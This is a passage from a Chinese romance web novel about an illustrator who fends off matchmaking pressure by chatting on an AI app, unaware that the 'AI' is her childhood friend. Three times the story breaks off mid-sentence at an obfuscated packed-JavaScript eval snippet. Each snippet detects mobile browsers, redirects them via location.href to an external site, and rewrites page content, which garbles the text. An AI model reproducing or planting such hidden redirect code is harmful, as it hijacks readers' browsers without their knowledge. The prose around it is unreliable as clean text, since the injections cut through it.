这日头是过的一天不记一天了。 自打上次和家里吵架,到现在有好几个周末没有回,她跟周女士许久没有联系,老爸在中间当和事佬,一个也没劝成功。 只要周女士还是这个态度,她依旧不回家! 门口挂了铃铛,门从外拉开,一阵香风飘过,有人走了进来。 韩岁下意识抬眼,还没瞧见人的穿着,那张明媚的笑颜率先闯入她视线,四目相对,像是心灵感应般,那人便直奔着她而来。 她声音不低,惊喜道:“是你吧,迟灵太太。” 尬!太尴尬了! 在公共场合被人叫网名是什么感觉?韩岁以前看见这个题目时从未切身体会过。 现在想来,她很有资格在那条帖子下发表长达百字的评论。 韩岁惶恐地左顾右盼,见没人注意这边才回复:“我叫韩岁,你叫我岁岁,小岁都可以。” 只要不是迟灵太太。 翻翻是个完完全全的e人,拎着包往隔壁椅子一放,坐下就开始聊天:“我叫陈茵帆,你继续叫我翻翻就好。岁岁,我是真没想到你长得这么漂亮。我脑海里想象中的画手都是那种,你懂吧,宅女形象,大概就是戴着黑色厚框眼镜,头发在后脑勺盘成一团,然后穿着宽松大T恤不修边幅的模样……” 若不是服务员过来上餐,韩岁不知道还能从她嘴里听来多少形容词。 “你说的这些也没错,我在家就这样。”韩岁理了理裙摆,不好意思地笑,“这不是要出门见人,多少也得打扮一下。” 桌面上摆着两道甜品,一份抹茶生巧布朗尼,一份伯爵教堂巴斯克,另外一杯拿铁一杯美式。 正如韩岁所想,陈茵帆先将桌上甜品摆放的位置重新调整了一次,后又迅速找准角度拍了张照。 速度快到韩岁还没反应过来就已经结束。 微信收到她发送过来的照片,韩岁感慨:“我以为你会花上十多分钟的时间来摆和拍。” “你这是刻板印象。”陈茵帆将抹茶生巧布朗尼推至韩岁面前,“像我们这种出图高手,景和物出现在眼前的一瞬间,就已经想好了构图。” 韩岁打趣:“怪不得看到我的草稿后能很快给出具体的反馈。” 和她的对接是韩岁接单历史上最为轻松的一单。 “好啦好啦,快吃吧。” 陈茵帆十分自来熟,丝毫不见赶路的疲惫,两人边吃边聊,话题不知怎地就转去了昨晚分享漫画的事情上,她调笑道,“等你画完这些稿,对人体的理解得上升不少吧。” 韩岁皮笑肉不笑:“确实上升。” 就是这上升的方向不怎么能见人。 两人东聊一句西聊一句,韩岁怕她又口无遮拦地说些什么,僵硬地转移话题:“我不是前段时间和你吐槽家里面催婚嘛,然后我就想出了一个损招,玩BIUBIU来伪装自己已经在恋爱的假象,摆脱父母的唠叨。” “BIUBIU?巧了,我也在玩。你这真能伪装?” 韩岁搅了搅杯子,咬着吸管含糊不清:“不知道啊,还没尝试过,上次吵了架就没再聊过天了,准确来说是用来应对不时之需吧。” 陈茵帆竖起大拇指:“高。” 桌上的甜品已被清空,陈茵帆兴致勃勃换了个座位,紧挨着韩岁,掏出手机,展示自己在BIUBIU上的聊天记录。 不看还好,这一看,快要长针眼了。 “咳咳……”韩岁把脸呛得通红,“这是我能看的尺度吗?” 陈茵帆不以为然:“跟AI聊天不聊这些聊什么?纯爱吗?那多没意思。” 陈茵帆侧身过来,握住她的手,激动道:“你既然要伪装恋爱的话,那谈恋爱的流程都得来一套吧?你们现在发展到什么程度了?” 什,什么程度? “仅聊天。”韩岁声音越来越小,“我喜欢找他吐槽一些鸡毛蒜皮的小事。” 大约是看出来她毫无恋爱经验,陈茵帆没忍住笑,干脆别开脸,低下头,肩膀小幅度耸动,泄露几声气音。 韩岁挨这么近,这还听不见就是耳朵聋了。 这么好笑吗? 虽然刚开始的企图是想要跟AI谈恋爱,但这BIUBIU还挺人性化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165898|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,每次都能很好地接收她所有坏情绪,聊着聊着觉得对方是个不错的垃圾桶,就什么琐碎的事都跟他说了。 完全忘记自己是奔着谈恋爱去的。 “我教你套指令。”陈茵帆发了很长一段指令过来,韩岁没来得及仔细看,只依稀看到几个“露骨”“羞耻”等词,就被她催促着复制发去了BIUBIU。 “你这个AI怎么卡卡的,信息回得很慢啊。”陈茵帆觉得奇怪,自己每次聊的时候,那边很快就回复了,不像这个。 韩岁解释自己恰巧是在软件出问题的那段时间下载用的,只有这个AI会有这样的问题,创新的AI不会遇到。 “那你为什么不跟新的聊?” “就,习惯了?都聊出感情来了。这种不是分分钟秒回的体验感不觉得很像是跟真人在聊吗?” “你是受虐狂吧?” “……” 在得到对方回复【明白了】之后,陈茵帆将自己曾经玩过的一个指令发了过去。 韩岁坐在一旁,看她大拇指在键盘上飞舞,两行字很快输出,她眼睛逐渐瞪大,惊觉这软件原来是这样玩的吗? 她好像又开辟出了一个新天地。 【宝宝,你知道“好女人上天堂”的下一句是什么吗? 是“坏女人上你床。” 那你觉得我是好女人还是坏女人?】 “诺,交给你继续聊下去吧,希望你不会让我失望。” 陈茵帆看眼时间,“腾”地原地起身,拎起她的小皮包,裙子久坐后压出些褶皱,她无暇顾及,语速飞快:“我等会有个会要开,现在就得出发了,今天见到你很开心,我们下次有机会再见,拜拜,岁岁宝贝。” “拜——拜?”韩岁话没来得及说出口,陈茵帆就火急火燎出了门,她手停在空中,朝合上的门挥挥。 低头,就瞧见了回复。 【?】 【我说你是坏女人的话,你真的会上我床吗?】 谁来救救我? 这要怎么回? 装潢精致的咖啡厅内,一女子正焦灼不安咬着手指低头捧手机,眉心紧拧,像是遭遇了什么突发大事,双腿无意识抖动,屁股就没好好在椅子上待过。 “您是不舒服吗?”突然有人问。 韩岁还没斟酌好句子是否得当,突如其来的声音吓她一跳,大拇指就此按下,对话框一句没编辑完的话发了出去,她未曾察觉,只怕手机里的内容被人瞧见,连忙将软件上滑熄屏。 “啊,没事,没事。”两人约饭走了一位,她不太好意思再继续坐下去,同人点点头,很快离开。 背影瞧出来些仓皇而逃的意味。 小巷子路窄,滴滴两声,一辆小电动同她擦肩而过,咖啡厅旁边是一家花店,门头小,盆栽花束往外头摆,三层台阶满满当当,离她最近的是一盆淡粉色的月季,正开得旺。 工位上放朵花做点缀,画起稿来心情都会舒畅一些,韩岁就这么鬼使神差地进了花店。 再出来时,手上捧了几朵月季。 提前约的车到了,等她到了家,刚过晚饭的点,这时肚子还是饱的,她边往回走边琢磨晚上的夜宵要吃点什么好,全然没注意单元楼门前屋檐下团聚着的黑影。 “去相亲了?” 冷不丁冒出的声音再次吓她一跳,身后就是台阶,她连连后退眼看就要踩空,那团黑影迅速移动至她身前,手臂环住她的腰往回拉。 韩岁就这么跌入那人怀里。 是熟悉的味道。 韩岁第一时间将来人认了出来,说出口的话就带了埋冤:“干嘛一个人偷偷站在这跟个贼一样啊?是不是故意存心来吓我的?” 她都数不清这是今天被吓的第几回了。 再强硬的心脏也经不起多次上下起伏。 搂住她腰的那条手臂逐渐收紧,似是要将她揉入怀里,两人衣服都穿的薄,男人身上那股热意源源不断地传递过来,在相贴的每一处。 同时传递过来的,还有些男人身上异于常人的坚硬触感。 11. Chapter 11 来人不说话,两人保持着极近的距离,谁也没有要先撤退的意思,直到外头一声像极婴儿哭啼的猫叫声划破天际,韩岁才骤然回神般从他怀中挣开后退。 拉扯间月季落了几片花瓣,两人的衣裳都沾染上残留的莹润水珠和浅淡的花香。 “这是我刚买的花,被你这么一弄,一下就焉了吧唧的……”韩岁重重叹了口气,神情委屈地埋下头,抬手抚上花瓣,一副失落的表情。 韩岁偷偷抬头瞟他—— 这意思很明显了吧? 还不给我把花补上? 宋柏环住她的那双手保持着原有动作,手心却空空的。 他像是意犹未尽地握了握,漫不经心收回插进口袋,神情变了,眼睛亮了些,像是不经意间发问:“花你自己买的?” “不然?”韩岁见他丝毫没有看出自己的暗示,兀自往楼道里走,没多久就听到跟上来的脚步声,她没管,到了家门口掏出钥匙开门。 出租屋不常来人,但还是给父母备了两双拖鞋,周女士偶尔会来几趟,她爸倒是几乎没来过,所以那双男士拖鞋约等于没人用过。 “你穿这个,之前买来给我爸穿的。”怕他嫌弃,韩岁还补充了句,“只穿过一次。” 时隔许久,宋柏再次走进韩岁的生活。 一间不大的出租屋,看得出来刚开始有精心装置过,不过随着居住时间增长,东西日渐累计,主人没了清理的心思,空旷的角落里堆满了东西。 视线右拐到小阳台,外面似是下了一场带着黄色颜料的雨,目光所及之处都蒙上一层柔和的黄调。 楼层不高,视野范围却不错,恰好能瞧见树木顶部摇曳的绿枝,刮来一阵风,阳台上挂着的衣裳跟着摇摆,只这一眼,他瞧见一套白色的柔软布料。 联想跟着目光所看到的东西一齐填充大脑,宋柏迅速撇开视线,耳垂尖冒出点粉,在客厅沙发上坐下,动作不自然,略显局促。 韩岁从厨房走出来,诧异:“你在这里坐着怎么不回我话,喊你半天了。” “嗯?”宋柏看向她,喉结上下滑动,声音些许喑哑,“你说什么?” “我问你要喝点什么吗?” “水就好。” 韩岁多盯他一眼,见他神色无异才离开。 怎么跟做贼一样,叫他一声吓了一激灵,手老老实实搭在膝盖上,腿合拢着,看上去比她还要社恐。 她这出租屋有这么吓人? 冰箱里塞满了这几天因为双十一促销活动购买的饮料,各种牌子的都有,韩岁给自己拿了罐小苏打水,和宋柏要的水一齐拎出去,见他依旧保持上半身板正的样子不免失笑。 “水。”韩岁递过去,在他旁边坐下,两人中间保持着半臂的距离,说近不近,说远也不远。 两人直挺挺地干坐着,也不说话,韩岁纳闷了,不说话的话干嘛突然来找她又默不作声地跟上了楼。 宋柏来得冲动,只是因为在BIUBIU上收到了那样开放的信息。 他一面惶恐一面欣喜若狂,惶恐韩岁到现在都以为自己在和AI聊天,而他只是一个误打误撞的小偷,一面又欣喜接收到她不为人知一面的人是自己。 庆幸还好是自己。 但他不能直接跟她挑明,怕两人关系闹僵。 一张白纸在揉搓之后无法恢复原状,他不想伸出揉搓白纸的手。 自打和她再次相遇后,自己的视线总不受控地朝着某个方向追逐。 但她完全没有与自己同样的想法,不然也不会对相亲这么排斥。 他佯装不经意开口:“这段时间叔叔阿姨还在逼你去相亲吗?” “没有,上次吵了一架之后我们就没再联系了。”提起这件事韩岁依旧耿耿于怀,“我是坚决不会屈服的,我才多大啊,干嘛就要被催着结婚,我乐都还没享完呢。” 她说这话时是实打实发自内心的排斥,像一块从未开花发芽过的木头。 话音刚落,门口响起敲门声,几乎是下一秒,韩岁就预料到肯定是周女士来了,除了她妈,没人会再来这里。 她这么乌鸦嘴的吗?刚提到,人就来了。 韩岁手忙脚乱拉起宋柏手腕,东张西望地看,除了卧室似乎没有能藏人的地方,她连推带拉地将人送进去,明明人还在门外,她却做贼心虚地压低声音:“肯定是我妈来了,你先在里面躲一下,别出来、别说话,我很快把她送走。” 眨个眼的功夫,宋柏被推入一间小小的卧室,鼻尖顿时涌上股淡淡的馨香。 窗帘是拉拢的,不透光,里面昏暗一片,推他的人手忙脚乱,把他上半身几乎快摸了个遍,把人撩得火热,眼看就要抽身离开,他手不舍地跟上去,攥住那片手腕。 “我为什么要躲?” 韩岁急得不行,语速飞快:“我妈看见你一个人在这肯定会误会,上次你出个场都想撺掇我俩,这次要是被碰见了咱俩跳进黄河也洗不清。” 有什么洗不清的? 宋柏还没来得及开口再说些什么,一抹光亮在眼前闪过又消失,门紧紧合拢,在那之前她还留下了句恶狠狠地警告—— “千万不要出来!” 虽说有些许的委屈,但这样藏在她房间里,莫名生出了些别样的风情。 韩岁拉门前看了眼鞋柜,好在发现及时,把宋柏的鞋藏起来,平复好极速跳动的心脏,才拉开门。 果不其然,是周女士。 她脸上表情不太自然,像是做了不少的心理准备才过来敲响这扇门,手上提了饭盒,问:“吃晚饭了吗?” “没。” 韩岁神色也不自然,不为别的,纯心虚。 周莲心在玄关口换下拖鞋,发现唯一的男士拖鞋消失了,纳闷道:“给你爸穿的那双拖鞋呢?”她边说着边往里走,探头探脑地将屋内环视一圈,最后把餐盒放在餐桌上:“我还以为你......家里有客人在呢。” 话音停顿的这一下,显而易见,怕是本来又要说些她不乐意听的,转而想起自己是来给台阶的,这才临门一脚换了个话术。 韩岁:“他又不来,我留着占地方,扔回收站去了。” 周莲心:“不常来又不是以后都不来,下次来不就没鞋穿了?” 韩岁不以为意:“等下次来可以买棉拖。” 栖城的天气哪里会冷得这么快,话里话外怕不是都在体现她此刻还在气头上,周莲心不再说拖鞋的事,将餐盒打开,她特意做了韩岁最喜欢的糖醋排骨和焖虾。 “趁热吃。”周莲心俨然一副要等着她吃完再将饭盒拎回去的模样。 把一个大男人藏在自己卧室长达半小时之久,光是想想这件事韩岁就焦虑得屁股坐不安稳,美味也无法认真品尝,夹两筷子就忍不住暗示。 “饭盒我明天送回去,你不用在这里等我。”韩岁眼睛眨啊眨,周莲心以为她赶稿赶多了眼睛干涩,问她要不要去医院看看。 韩岁打哈哈,说自己常备了眼药水。 周莲心还想说些什么,却又说不出口。 几句东拉西扯的闲聊过去,依旧说不到正题上。 她做不到完全放任自己的女儿每日每夜宅在家里不与人沟通,也不想催得太紧,将两人关系再度矛盾化。 她想来想去,准备旁敲侧击一下:“最近还在坚持上游泳课吗?” 报了宋柏的私教课还是上次聚餐无意间说漏了嘴,韩岁知道这件事情让她知晓了一定会念叨上很多次,毕竟现在宋柏是她单一生活中唯一一个正在接触的男性。 韩岁下定决心,准备了这么久的事,现在该交代一下了。 “你不用再撮合我和宋柏,我有对象了。” 韩岁说完咬下一块排骨,看似不经意地扔下了一颗炸弹,实际内心跟着尖叫不已,依靠吃排骨的动作掩盖心慌,等待炸弹爆炸的间隙里眼珠子转了好几圈。 周莲心似是不信,只觉是她用来搪塞的托辞:“不是身边都没有男生?怎么谈上的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165899|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 韩岁自然早有准备:“是我大学同学,之前一直都在网上聊天,前段时间他来找我,跟我表了白,我觉得还不错,就先发展看看。” 有理有据的一串话打消掉周莲心一半疑虑,她挨着坐下,语气里总算带了些欣喜的波澜:“有照片吗?发来给我和你爸看看?” “他不怎么喜欢拍照,朋友圈也没有发过,我晚点找他要吧。” 这事简单,网上随便找张照片就行,韩岁早就想过了。 为了防止她再多问,韩岁继续道:“才刚在一起没多久,了解得不深,没到结婚的地步呢,我先相处着看看,你别急。” 言外之意就是现在别想着让她把人带回来。 周莲心:“好好好,我不打乱你们的节奏,你自己开心就好。” 韩岁吃东西吃得慢,平常喜欢搭个视频下饭,这次周莲心在,屋里头还藏了人,她属实没心情,不得不加快咀嚼的速度。 周莲心在客厅逛,茶几上留有瓶开封的水,只喝了一口的样子,旁边还立了瓶苏打水。 她突然问:“今天来过客人吗?” 韩岁眉心一跳,差点呛到,紧急寻找理由。 这一坎没过,下一个坎紧跟其后—— 周莲心清理完客厅的垃圾,朝她卧室方向走去:“再过两天有雨了,这两天太阳大,我去把被子床单拿出来晒晒,去去湿。” 南方的城市,总是透着潮湿的味道,不出太阳的日子,就好似陷入梅雨季节,到处都是湿凉凉的,严重的时候表层还会浮层细密的水珠。 一块没嚼完的排骨直直掉落地板,端正坐于餐桌前的人刹那间不见踪影,只留下一个仓促的背影,和瞬间拉高了分贝的声音。 “不用!” 来不及了,门已被推开。 短短几秒的时间,韩岁脑子飞速运转,自己要怎么解释在已经谈了恋爱的情况下还藏了个男人在卧室,并且这个人不是别人,是周女士从小看着长大的宋柏。 就在韩岁以为自己的形象即将崩塌,并收获接二连三的质问时,周莲心从里面转了一圈又走了出来:“你刚刚说什么?” 眨眼间,韩岁已抵达房门口,手握门把手,视线飞速往里打量,没见着人,松口气,才重新摆上笑容:“我说不用了,我有一套才晒过的,过段时间换掉,再把旧的洗了就好。” “行吧。”周莲心嘴里嘀咕,“女孩子还是要爱干净点,房间里这么乱。” “哈哈,这几天太忙了,没来得及,画完这些稿就弄大扫除。” 今天的韩岁格外地好说话,周莲心走前狐疑地再往房里看了看。 屋内窗帘拉紧,光一点都不往里透,床上被子混乱地团在一起,平板摊在床尾,笔滚在另一边,睡衣睡裤一半耷拉着垂下,就快掉落到地面,实在不太像样,她实在无处下手,这才只看一圈就走了出来。 “行吧,那我就先走了,空了多回来坐坐,就几步路也舍不得走,不是有电动车吗?” “好好好......”韩岁双手架在周莲心肩上,急不可耐地把人往外推,“我知道了我知道了,拜拜啊。” “砰!”门飞速合上。 “呼——”韩岁重重吐了口气。 人终于走了。 韩岁侧耳贴门,确认脚步声逐渐远去,外面趋于平静,才返回卧室。 刚才门开的那一瞬间她真是吓了一大跳,生怕两人对上视线,险些要上演场惨绝人寰的伦理大战。 没想到宋柏人就那么消失了? 那么小的卧室,几乎无处可藏,也不知道他会闪现到哪里去。 “宋柏?”韩岁按开卧室的灯,依旧没见着人,越过床尾朝里走,突然踩中一硬挺的东西,身体不受控地前倾,因惊吓而蹦出的声音在空中划出一道破折号,又戛然而止。 想象中的疼痛没有如约传来,她跌入了一个柔软的怀抱,两人相贴的躯干在半空短暂停留又猛然坠落。 宋柏接住了她。 12. Chapter 12 一声闷哼,侧脸压住的地方共振。 比疼痛先来的是清新的薄荷味,很淡,像是渗透进皮肤深处,再缓慢释放,消散在空中的味道,几乎快要闻不见,但她现在靠他靠得太近了。 心脏的位置,衣领被她攥着往下拉,胸膛也露出一大片。 怪不得呢,露出了这么大片皮肤,所以薄荷味也快要将她侵染上。 “咚咚……咚咚……”有声音在响。 韩岁煞风景道:“你摔疼了?心跳突然这么快。” 她收起单条腿,浑然不觉跪在身下人什么位置,胳膊肘借力撑起上半身,抬头去看他表情。 动作太快了,快到宋柏来不及后仰,橘子味强势侵占而来,一片温热轻快短暂地擦过他下巴某处皮肤。 虽然他看不见是哪个位置,但他就是知道。 因为那一处正火烧火燎。 点火的人一无所知,她盯着宋柏那张有些僵硬的脸看了几秒,确认不是痛苦的表情:“我喊你干嘛不搭理我?我妈进来的时候你就这样躺在地上?” 宋柏想起那段历程就忍不住笑:“我本来打算进衣柜躲一下,但……”他很礼貌地避开没有多说,“这里隔音一般,我听到阿姨准备进来,情急之下就躺地上了,只能死马当活马医了。” “但凡是你躺在地上被我妈看见,你我都得玩。” 那场景,无法想象。 韩岁撑累了,上肢力量薄弱,膝盖又往前顶了顶,直到不能再往前移她才发现不对劲。 画人体速写时,大部分人都很讨厌画褶皱,肘关节是一处,裆/部是一处。 黑色运动裤的褶皱线条比牛仔裤柔软,从中缝线往外扩散,紧挨着中缝线的地方,赤/裸白皙的膝盖将将贴住,两块布料隔着的地方,隆起的弧度直观地展示在她视野内。 不仅是眼睛,膝盖那处好像也感受到了,别样的滚烫。 她动作一下就乱了,想爬起来,但四肢并不受控制,膝盖好像又往前顶了顶,耳边落下急促灼热的呼吸。 宋柏咬牙切齿,韩岁竟分辨不出他话音里是难受多还是其他的多:“要不你先别动了……这个动作有点危险。” 他干脆拦腰将她抱住贴向自己,利落带着她起身,再很快松开。 一阵风刮过。 宋柏仓皇而逃。 韩岁站在原地,脑子里莫名有了灵感。 刚刚那个姿势,好像很适合某位单主的要求! 从床上捞起平板追出去,客厅没见到宋柏,以为他已经走了,转头却看到他背身站在阳台边。 韩岁偷偷掏出手机给他的背影拍了张照。 宽肩,窄腰,大长腿。 漫画男的标配。 她还见过宋柏只着一条泳裤的身体,很完美,很适合做画画参考。 韩岁不知道这个请求会不会冒犯到他。 但她还是想问问。 实在不行她也是可以以金钱诱惑他的!金钱不行的话……美色?韩岁对着黑掉的手机屏幕观赏自己的脸,算不上惊天大美人,但也不是很差吧? 再说了,他们还有青梅竹马的情谊,宋柏应该不会这么狠心。 “不行。” “为什么?!” “不行就是不行。” “拒绝我总要有个理由吧?” 宋柏果断的拒绝让她心碎。 不像小时候,他总是答应她,什么事情都。 小尾巴不是从一开始就长成小尾巴的,她被一件件事磨成长条,靠着一次次的宠溺黏上去的。 甩也甩不掉。 当然他也不曾动过要甩掉她这个尾巴的想法。 “就相当于你找了个当模特的兼职,而我是你的拍照搭子,也不会每天把你叫过来,只会在我灵感枯竭的时候找你。还不用一直摆一个动作,只需要拍张照就行。”韩岁想不通,“为什么不答应我?” 宋柏登时无言。 若是只需要坐着摆几个动作,他也就认了,不需要酬劳。 但韩岁说的是要经常和她拍一些类似他们刚刚在地板上做出的动作。 要暧昧、亲密、充满性张力。 仅有一次的意外都能引火烧身,更别说长期持久地朝他点火了。 宋柏板着一张苦大仇深的脸,从嘴里憋出四个字:“就是不行。” “你小气!”韩岁夺过他刚拿起的水,扔远了些,“你不答应我我找别人就行了。” 说得好像没你不行似的。 韩岁说话不经思考,事后回忆起来也觉得自己是被逼急了胡乱攀咬,她身边连个异性朋友都没有,哪有人可找。 宋柏却当了真。 “你要去找谁?”宋柏像只被人踩了尾巴的狗,应激地扑上来,硬生生将她掰扯过来同自己面对面,“你说的那个大学同学?” 韩岁注意力却不在这个话题上了:“你偷听?” “隔音差,不需要刻意听也能听到。”宋柏说,“别转移话题。” 他知道韩岁谈恋爱的事是假的,整天在AI软件上和她聊天的人是他,但搪塞的话不需要思考就能脱口而出,意味着可能真的有这号人物。 甚至很有可能今天韩岁出门去见的人就是那个男人。 “你既然都这么不乐意了,那干嘛要管我跟谁拍。”韩岁挣了挣,发现他力量大得惊人,“你抓疼我了。” “抱歉。”宋柏松开禁锢住她肩膀的那只手,大拇指按下的地方,横直锁骨下,印下一枚淡淡的指痕。 “你一定要拍吗?”宋柏终是松了口。 韩岁见有转圜的余地,又蠢蠢欲动,将自己说得可怜些,讲这已经是她能想到最方便的方法了,人体参考远比漫画上看来得更直观,也能有更多地创新点,不仅仅局限在本子里。 就半小时前那个单膝抵入的动作,就足够她二创出各种新鲜的东西了。 “你放心,工作量不大,我只会在没有灵感的时候来找你,我们可以一起多尝试几种动作,这样就不会反复麻烦你了。” 宋柏:“......” 此刻站在她面前的人恐怕不是根木头。 宋柏最终还是心不甘情不愿地点了头。 “不过你先回答我一个问题。”如果不弄明白他今晚都难以入睡,“你说的大学同学是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165900|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假的?” “当然是假的啦。”韩岁现在心情好,他问什么都回答,好兄弟一样地拍他肩,“对于伪装我谈了恋爱这事,我已经规划了许久,男方人物设定都想好了。再说了,你可是我身边唯一一个男性朋友啊。哥哥。” 给了一点阳光就笑得灿烂这话用在韩岁身上真是顶顶适配。 连哥哥都喊上了。 确认好相关事宜后,韩岁给他留下一句“自便”就自顾自在沙发上盘腿坐下,打开平板新开了张画布开始起稿。 单主是某小说的粉丝,约稿是为了做线下活动的周边,这也是韩岁第一次接触文字设,她本不打算接,耐不住人苦苦哀求。 她向来心软,几次软磨硬泡下就应了。 单主提供的剧情片段里,恰巧有一幕与他们今天意外发生的动作重合,趁着灵感如泉涌,韩岁顾不上宋柏是否离开,当即就开始画了起来。 天色已晚,他早该走了,如果不是周女士奇袭,他不会在这里坐这么久。 本意只是想打声招呼就离开,见她动作迅速打开平板,解锁后的屏幕保留着先前没有退出的画面,可以看得出是一张草稿图。 原来她整天在家里画稿,画的是这种稿? 还好没有将机会拱手让给他人。 未来和她合作的尺度,比宋柏想象中还要大。 “我先走了?” 韩岁头也不抬,敷衍道:“嗯嗯嗯嗯……” 女孩ipad底下垫着抱枕,双腿上下交叠,低着头,头发用一根黑色发绳松松挽住,略短一些的往下垂落,因常年顺在耳后已经形成了固定的弧度,擦着下颚,随着上下起伏的动作微微荡漾。 那截修长如天鹅的脖颈从衣领里延伸出,在顶灯的照射下泛着温润的光泽。 若是指尖抚过,会是怎样的触感? 宋柏没再放任自己继续往下联想,连忙推门离去。 门很轻地合上,韩岁浑然不觉,这次一埋头,画了近一小时才起。 画里的姿势比她和宋柏经历过的还要暧昧。 女生膝盖准确无误顶/入男生两腿之间,男生上半身赤/裸,肌肉因压制呼吸而紧绷,湿漉漉的刘海遮住眉目,叫人分辨不出情绪。女生只留有背影,却足以看出其强势,手掌遏住男生脖颈,虎口处恰好卡在喉结下,正准备手拢掌心…… 线稿一经交出,单主很快给予了反馈。 将韩岁夸得天上地下绝无仅有。 【啊啊啊啊啊劳斯你太神了,只是一张线稿就让我晕倒,不敢想成品会有多好看!】 韩岁没有被她的夸赞迷得失去方向,只嘴角微微上扬两个像素点,清咳一声,云淡风轻地敲下回复: 【那草稿就定下来了,两天内会将最终稿交出。】 【好滴好滴,谢谢劳斯,劳斯辛苦了,劳斯一定要继续画一辈子的黄图。】 【流汗小黄豆.jpg】 韩岁:…… 这个祝福就不必了吧。 手机在掌心震动,顶部跳出弹窗,备注为【宝宝】的人发来信息: 【为什么不回我消息,是有了新的男人吗?】 13. Chapter 13 不知道为什么,看到这个新的男人,韩岁会想起前不久还在和她一齐坐在沙发上的宋柏。 但她会跟AI说吗? 不会。 她坦然切入软件,毫无心底负担地发送:【怎么会?我只有你啊宝宝。】 韩岁觉得自己在信口开河这一技能上也是颇有成绩的。 这是她今天扯的第几个谎了? 但没关系,和AI聊天所做的一切不过是为了调/情罢了。 这是翻翻教给她的道理—— 千万不能在AI这种虚拟形象上给予太多的感情。 她浑然不觉AI停止了回复,自顾自地说:【就在刚刚,我告诉我妈我已经有男朋友了,你猜猜是谁?】 AI开始拈酸吃醋:【哦?是哪个野男人,能有我好?】 【我哪里还有其他男人啊,我不是就你一个吗?】 【是吗?那为什么我看见你正跟另一个男人在一起,站在你旁边的不应该是我吗?】 ? ?? ??? 另,另一个男人? AI怎么会知道她今天跟另一个男人呆过?还是说他突然热衷上演这种戏码,跟她的经历相撞只是巧合。 【你在哪里看见的?怎么会,我只有你啊宝宝。】 这语录,愈发有渣男的味道了。 韩岁正津津有味地欣赏自己的蜕变,眨眼间,对话条上移,一句令人后背胆寒的话徐徐展示。 【你家。】 不过他接下来发的又让韩岁那颗高高提起的心脏落稳。 【开玩笑的,不过你这个语气,很难不让人怀疑点什么。】 【我让你说话刺激点,不是指这种刺激。】 弄得人心惊胆战的。 【那是哪种刺激?你不说得仔细点我不清楚。】 【嗯……就那种……】 【上我床的这种?】 ……韩岁很不擅长和他聊这种。 上不上床这个话题还是翻翻提及的,下午回来后家里兵荒马乱,没想到他竟然还惦记这个话题。 没想到这个AI还挺会来事。 韩岁想。 【上你床也不是不可以,盖着被子纯聊天对吧。】 【你真的觉得我会在床上看着你无动于衷?】 怎,怎么回事?韩岁盯着这句话,突然觉得心跳加速,有种被撩到的错觉。 她被一个AI勾引到了? 真是颇有手段。 一台机器灌多了油,工作量比平日超载了许多,于是运行没多久就宕机冒烟,失去了运转的能力。 韩岁挥散走心底萦绕的旖旎情绪,走去窗边站定,窗户只需拉开一道狭窄缝隙,户外多情的风就忍不住来触碰她,起了撩拨的心思,所到之处都留下痕迹。 接连几天,韩岁都没出门,宅在家里昼夜颠倒地创作,自由工作者大约都有这个毛病,到了晚上,灵感就跟爆了水管一样迸发,止都止不住。 一天两顿外卖,早餐看心情,说好要坚持吊单杠,也早早地抛在了脑后,偶尔会在三更半夜出门扔个垃圾,呼吸一下新鲜空气。 保持这样两耳不闻窗外事两周,周女士坐不住了,眼看她这样不要命地赚钱把眼下熬成青黑,最终赶在十一月结束地尾声撺掇上了隔壁宋家三位,说要来一次久违的秋游。 “你说你有很重要的事情找我说,就是这个?”韩岁松垮如滩烂泥般摊在软皮沙发上,东倒西歪,双腿无助地在原地蹦跶,无可奈何,“我还要赶稿呢,你这不是耽误我事嘛。” 大早上的,这才刚过八点半,两位正在收拾随行包,脸上神采奕奕,哪里像是有事发生得模样。 包里塞得鼓鼓囊囊,不知道填了些什么东西在里面,两人把她当空气,不搭理,自己聊着聊着自己的。 “一天往返带这些够了吧?” “够了够了,那山底下还有商业街,我们带的这些只是山上补给的,再不然那山腰腰上也有不少卖东西的。” “那就好那就好,我这边差不多了,你打个电话给老宋问问他们怎么样了?” “好,我这就打。”韩伯山飞速拨了通电话过去,“喂,老宋啊......” 明明人就住在对门,还打电话...... 韩岁暗暗想着,眼前的事物逐渐变模糊,她仿佛置身在真空中,打电话的絮叨声最后趋于一条直线。 她好像在黑暗中颠簸,身下趴着的东西硌人得慌,但胜在好闻,轻嗅一下就能让自己安定,她却像是不知足似的,脑袋又往前拱了拱,鼻子耸动,在一片光滑上蹭来蹭去,连软唇都贴了上去。 身下的东西好像僵硬了一瞬。 但又似乎只是她的错觉。 